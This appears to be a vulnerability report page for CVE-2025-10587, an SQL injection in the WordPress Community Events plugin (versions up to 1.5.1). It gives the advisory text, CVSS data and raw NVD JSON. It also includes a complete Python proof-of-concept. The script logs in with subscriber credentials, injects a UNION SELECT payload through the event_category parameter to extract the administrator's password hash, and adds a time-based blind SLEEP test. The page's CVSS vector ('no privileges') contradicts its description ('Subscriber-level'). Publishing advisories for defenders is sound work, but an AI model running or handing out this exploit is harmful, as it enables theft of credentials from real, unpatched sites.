Security Vulnerability Report
中文
CVE-2025-10587 CVSS 9.8 CRITICAL

CVE-2025-10587

Published: 2025-10-08 04:16:15
Last Modified: 2026-04-15 00:35:42

Description

The Community Events plugin for WordPress is vulnerable to SQL Injection via the event_category parameter in all versions up to, and including, 1.5.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WordPress Community Events插件 <= 1.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10587 - WordPress Community Events Plugin SQL Injection PoC # Vulnerability: SQL Injection via event_category parameter # Affected versions: <= 1.5.1 # Requires: Subscriber-level authentication import requests # Target WordPress site URL TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "subscriber_password" # Step 1: Login to WordPress to get authentication cookies session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Exploit SQL Injection via event_category parameter # The malicious payload uses UNION SELECT to extract admin password hash exploit_url = f"{TARGET_URL}/wp-admin/admin.php" payload = "1' UNION SELECT user_pass FROM wp_users WHERE ID=1-- -" params = { "page": "community-events", "event_category": payload } response = session.get(exploit_url, params=params) print("Response status:", response.status_code) print("Response body:", response.text[:2000]) # Alternative: Time-based blind SQL injection import time time_payload = "1' AND (SELECT SLEEP(5))-- -" params_time = { "page": "community-events", "event_category": time_payload } start_time = time.time() response = session.get(exploit_url, params=params_time) elapsed = time.time() - start_time print(f"\nTime-based test elapsed: {elapsed:.2f} seconds") if elapsed > 4: print("Vulnerable to time-based blind SQL injection!")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10587", "sourceIdentifier": "[email protected]", "published": "2025-10-08T04:16:15.437", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Community Events plugin for WordPress is vulnerable to SQL Injection via the event_category parameter in all versions up to, and including, 1.5.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/community-events/trunk/community-events.php?rev=3115223", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3369351%40community-events%2Ftrunk&old=3115222%40community-events%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/community-events/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f8a54a18-64e2-4046-8143-2b5116c4200b?source=cve", "source": "[email protected]"}]}}